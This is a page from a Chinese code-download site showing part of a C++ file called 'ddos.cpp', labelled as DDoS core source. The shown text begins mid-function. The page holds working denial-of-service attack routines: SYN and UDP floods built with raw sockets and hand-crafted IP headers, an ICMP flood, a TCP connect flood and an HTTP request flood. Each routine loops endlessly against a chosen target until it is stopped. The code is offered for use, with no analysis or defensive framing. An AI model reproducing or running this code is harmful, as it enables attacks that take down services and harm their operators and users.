⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddos.cpp

📁 DDOS核心源码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
			//填充TCP首部 
			TcpHeader.th_sport = htons( rand()%60000 + 1 ); //源端口号 
			TcpHeader.th_dport = htons( nProt ); 
			TcpHeader.th_seq = htonl( rand()%900000000 + 1 ); 
			TcpHeader.th_ack = 0; 
			TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0); 
			TcpHeader.th_flag = 2; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG 
			TcpHeader.th_win = htons(512); 
			TcpHeader.th_sum = 0; 
			TcpHeader.th_urp = 0; 

			PsdHeader.saddr = IpHeader.sourceIP; 
			PsdHeader.daddr = IpHeader.destIP; 
			PsdHeader.mbz = 0; 
			PsdHeader.ptcl = IPPROTO_TCP; 
			PsdHeader.tcpl = htons(sizeof(TcpHeader)); 

			//计算TCP校验和 
			memcpy( SendBuff[n], &PsdHeader, sizeof(PsdHeader) ); 
			memcpy( SendBuff[n] + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) ); 
			TcpHeader.th_sum = checksum( (USHORT *) SendBuff[n], sizeof(PsdHeader) + sizeof(TcpHeader) ); 

			//计算IP检验和 
			memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) ); 
			memcpy( SendBuff[n] + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) ); 
			memset( SendBuff[n] + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 ); 
			IpHeader.checksum = checksum( (USHORT *) SendBuff, sizeof(IpHeader) + sizeof(TcpHeader) ); 

			memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) ); 
			memcpy( SendBuff[n]+sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) ); 
	}
	return; 
}


void CDDos::syn_flood(const char* szip, USHORT nProt) 
{
//	Sleep(2000);

	fill_syn_buffer( szip, nProt );
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	SOCKET    SendSocket; 
	BOOL    Flag; 
	int     Timeout; 

	SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED ); 
	if( SendSocket == INVALID_SOCKET ) 
		return; 

	Flag = TRUE; 
	if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR ) 
		return; 

	Timeout = 5000; 
	if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR ) 
		return;

	SOCKADDR_IN    Sin;
	Sin.sin_family = AF_INET; 
	Sin.sin_port = nProt; 
	Sin.sin_addr.s_addr = inet_addr(szip);
	if (Sin.sin_addr.s_addr == INADDR_NONE)
	{   
		struct hostent *hp = NULL;
		if ((hp = gethostbyname(szip)) != NULL)
		 {
		 	memcpy(&(Sin.sin_addr), hp->h_addr, hp->h_length);
		 	Sin.sin_family = hp->h_addrtype;
		}
		else
			return;
	}
	while (1)
	{
		if( IsStop() )
			return ;
		for ( int Tmp = 0 ; Tmp < PacketNum ; Tmp++)
			if (sendto(SendSocket, SendBuff[Tmp], sizeof(IP_HEADER) + sizeof(TCP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin)) == SOCKET_ERROR)
			{
			
				return;
			}
		Sleep(10);
	}
	return; 
}
void fill_icmp_data(char *icmp_data, int datasize)
{
	ICMP_HEADER *icmp_hdr;
	char       *datapart;
	icmp_hdr = (ICMP_HEADER*)icmp_data;
	icmp_hdr->i_type = ICMP_ECHO;
	icmp_hdr->i_code = 0;
	icmp_hdr->i_id   = (USHORT)GetCurrentProcessId();
	icmp_hdr->i_cksum = 0;
	icmp_hdr->i_seq = 0;

	datapart = icmp_data + sizeof(ICMP_HEADER);
	memcpy(datapart,icmpBuffer,strlen(icmpBuffer));
}
void CDDos::icmp_flood(const char* szip, USHORT nProt)
{   

	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	SOCKET m_hSocket;
	SOCKADDR_IN m_addrDest;
	char              *icmp_data;
	int   datasize = 32;
	int timeout = 2000;

	m_hSocket = WSASocket (AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED);
	if (m_hSocket == INVALID_SOCKET) 
		return;
	if (setsockopt(m_hSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR) 
		return;

	memset(&m_addrDest, 0, sizeof(m_addrDest));
	m_addrDest.sin_family = AF_INET;
	if ((m_addrDest.sin_addr.s_addr = inet_addr(szip)) == INADDR_NONE)
	{   
		 struct hostent *hp = NULL;
		 if ((hp = gethostbyname(szip)) != NULL)
		 {
		 	memcpy(&(m_addrDest.sin_addr), hp->h_addr, hp->h_length);
		 	m_addrDest.sin_family = hp->h_addrtype;
		 }
		else
			return;
	}              

	datasize += sizeof(ICMP_HEADER);  
	icmp_data =(char*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,MAX_PACKET);
	memset(icmp_data,0,MAX_PACKET);
	fill_icmp_data(icmp_data,MAX_PACKET);
	int seq_no=0;
	int sleep_time = 10/10 + 1;
	while(1)
	{ 
		if( IsStop() )
			return ;
		((ICMP_HEADER*)icmp_data)->i_cksum = 0;
		((ICMP_HEADER*)icmp_data)->i_seq =	seq_no++;
		((ICMP_HEADER*)icmp_data)->timestamp = GetTickCount();
		((ICMP_HEADER*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, MAX_PACKET);
		for (int i=0;i<100;i++)
		{
			sendto(m_hSocket, icmp_data, MAX_PACKET, 0, (struct sockaddr*)&m_addrDest, sizeof(m_addrDest)); 
		}
		for(UINT32 u = 0 ; u < 80 ; u++ )
		{
				Sleep(10);
			if( IsStop() )
				return ;
		}
	
	}
	return;
}


void CDDos::tcp_flood(const char* szip, USHORT nProt, I_Buffer* pBuff)
{
	CPinboardPtr<I_Buffer> spBuffer = pBuff;
	WSADATA               WSAData;
	WSAStartup(MAKEWORD(2,2) ,&WSAData);
	SOCKADDR_IN sockAddr;
	SOCKET	m_hSocket;
	int nSize = strlen(icmpBuffer);
	
	memset(&sockAddr,0,sizeof(sockAddr));
	sockAddr.sin_family = AF_INET;
	sockAddr.sin_port=htons(nProt);
	sockAddr.sin_addr.s_addr = inet_addr(szip);
	if ((sockAddr.sin_addr.s_addr = inet_addr(szip)) == INADDR_NONE)
	{
		struct hostent *hp = NULL;
		if ((hp = gethostbyname(szip)) != NULL)
		{
			memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length);
		 	sockAddr.sin_family = hp->h_addrtype;
		}
		else
			return;
	} 
	for(;;)
	{

		if( IsStop() )
				return ;
		m_hSocket = socket(PF_INET,SOCK_STREAM,0);
		if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)
			continue;
		for(int a=0;a<10240;a++)
		{
			if (send(m_hSocket,(const char *)pBuff->GetPointer(),pBuff->GetSize(),0) ==SOCKET_ERROR)
				break;
		}
		Sleep(10);
	}
	return;
}
///////UDP攻击
#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int  iTotalSize=0;


void fill_udp_buffer(const char* szip, USHORT nProt)
{
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	unsigned int saddr=0;
	char hostname[MAX_PATH];
	gethostname(hostname,MAX_PATH);
	LPHOSTENT lphost;
	lphost = gethostbyname(hostname);
	if (lphost != NULL)
		saddr = ((LPIN_ADDR)lphost->h_addr)->s_addr;

	char pBuffer[nBufferSize];

	IP_HEADER ipHeader;
	UDP_HEADER udpHeader;

	int iUdpCheckSumSize;
	char *ptr=NULL;
	FillMemory(pBuffer, nBufferSize, 'A');

	iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;

	ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
	ipHeader.tos=0;
	ipHeader.total_len=htons(iTotalSize);
	ipHeader.ident=0;
	ipHeader.frag_and_flags=0;
	ipHeader.ttl=128;
	ipHeader.proto=IPPROTO_UDP;
	ipHeader.checksum=0;
	ipHeader.destIP=inet_addr(szip);

	udpHeader.sourceport = htons(52044);
	udpHeader.destport = htons(nProt);
	udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);
	udpHeader.udp_checksum = 0;

	ptr = NULL;
	ipHeader.sourceIP = saddr;

	ZeroMemory(pSendBuffer, nBufferSize + 60);
	ptr = pSendBuffer;
	iUdpCheckSumSize=0;
	udpHeader.udp_checksum = 0;

	memcpy(ptr, &ipHeader.sourceIP, sizeof(ipHeader.sourceIP));
	ptr += sizeof(ipHeader.sourceIP);
	iUdpCheckSumSize += sizeof(ipHeader.sourceIP);

	memcpy(ptr, &ipHeader.destIP, sizeof(ipHeader.destIP));
	ptr += sizeof(ipHeader.destIP);
	iUdpCheckSumSize += sizeof(ipHeader.destIP);

	ptr++;
	iUdpCheckSumSize++;

	memcpy(ptr, &ipHeader.proto, sizeof(ipHeader.proto));
	ptr += sizeof(ipHeader.proto);
	iUdpCheckSumSize += sizeof(ipHeader.proto);

	memcpy(ptr, &udpHeader.udp_length, sizeof(udpHeader.udp_length));
	ptr += sizeof(udpHeader.udp_length);
	iUdpCheckSumSize += sizeof(udpHeader.udp_length);

	memcpy(ptr, &udpHeader, sizeof(udpHeader));
	ptr += sizeof(udpHeader);
	iUdpCheckSumSize += sizeof(udpHeader);

	memcpy(ptr, pBuffer, nBufferSize);
	iUdpCheckSumSize += nBufferSize;

	udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);
	memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));
	memcpy(pSendBuffer + sizeof(ipHeader), &udpHeader, sizeof(udpHeader));
	memcpy(pSendBuffer + sizeof(ipHeader) + sizeof(udpHeader), pBuffer, nBufferSize);
}

void CDDos::udp_flood(const char* szip, USHORT nProt) 
{
	fill_udp_buffer( szip, nProt );
	WSADATA WSAData;
	WSAStartup(MAKEWORD(2,2), &WSAData);

	SOCKET    SendSocket; 
	BOOL    Flag; 

	SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);
	if( SendSocket == INVALID_SOCKET ) 
		return; 

	Flag=true;
	if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)
	{
		printf("setsockopt Error!\n");
		return;
	}

	SOCKADDR_IN addr_in;
	addr_in.sin_family=AF_INET;
	addr_in.sin_port=htons(nProt);
	addr_in.sin_addr.s_addr=inet_addr(szip);
	if (addr_in.sin_addr.s_addr == INADDR_NONE)
	{   
		struct hostent *hp = NULL;
		if ((hp = gethostbyname(szip)) != NULL)
		 {
		 	memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length);
		 	addr_in.sin_family = hp->h_addrtype;
		}
		else
			return;
	}

	for (;;)
	{
		if( IsStop() )
				return ;
		for(int i=0;i<10000;i++)
			sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in));
		Sleep(10);
	}
	closesocket(SendSocket);
	return; 
}
bool CDDos::floodUrl(LPCWSTR szUrl)
{
	WCHAR   szHead[] = L"Accept: */*\r\n\r\n";
	WCHAR szAgent[] = L"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";

	HINTERNET hInternet = InternetOpen(szAgent, 0, NULL, NULL, 0);
	if(hInternet == NULL)
		return false;
	HINTERNET hConnect = InternetOpenUrlW(hInternet	, szUrl, szHead, lstrlen(szHead), INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
	if(hConnect == NULL)
	{
		InternetCloseHandle(hInternet);
		return false;
	}
	char buf[10];
	DWORD len ;

	::InternetReadFile(hConnect, buf, 10, &len);

	InternetCloseHandle(hConnect);
	InternetCloseHandle(hInternet);
	return true;
}

void CDDos::http_flood(LPCWSTR szUrl)
{
	while( true )
	{
		bool f = floodUrl( szUrl );
		if( !f )
			return ;
		if( IsStop() )
				return ;
		Sleep(10);
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -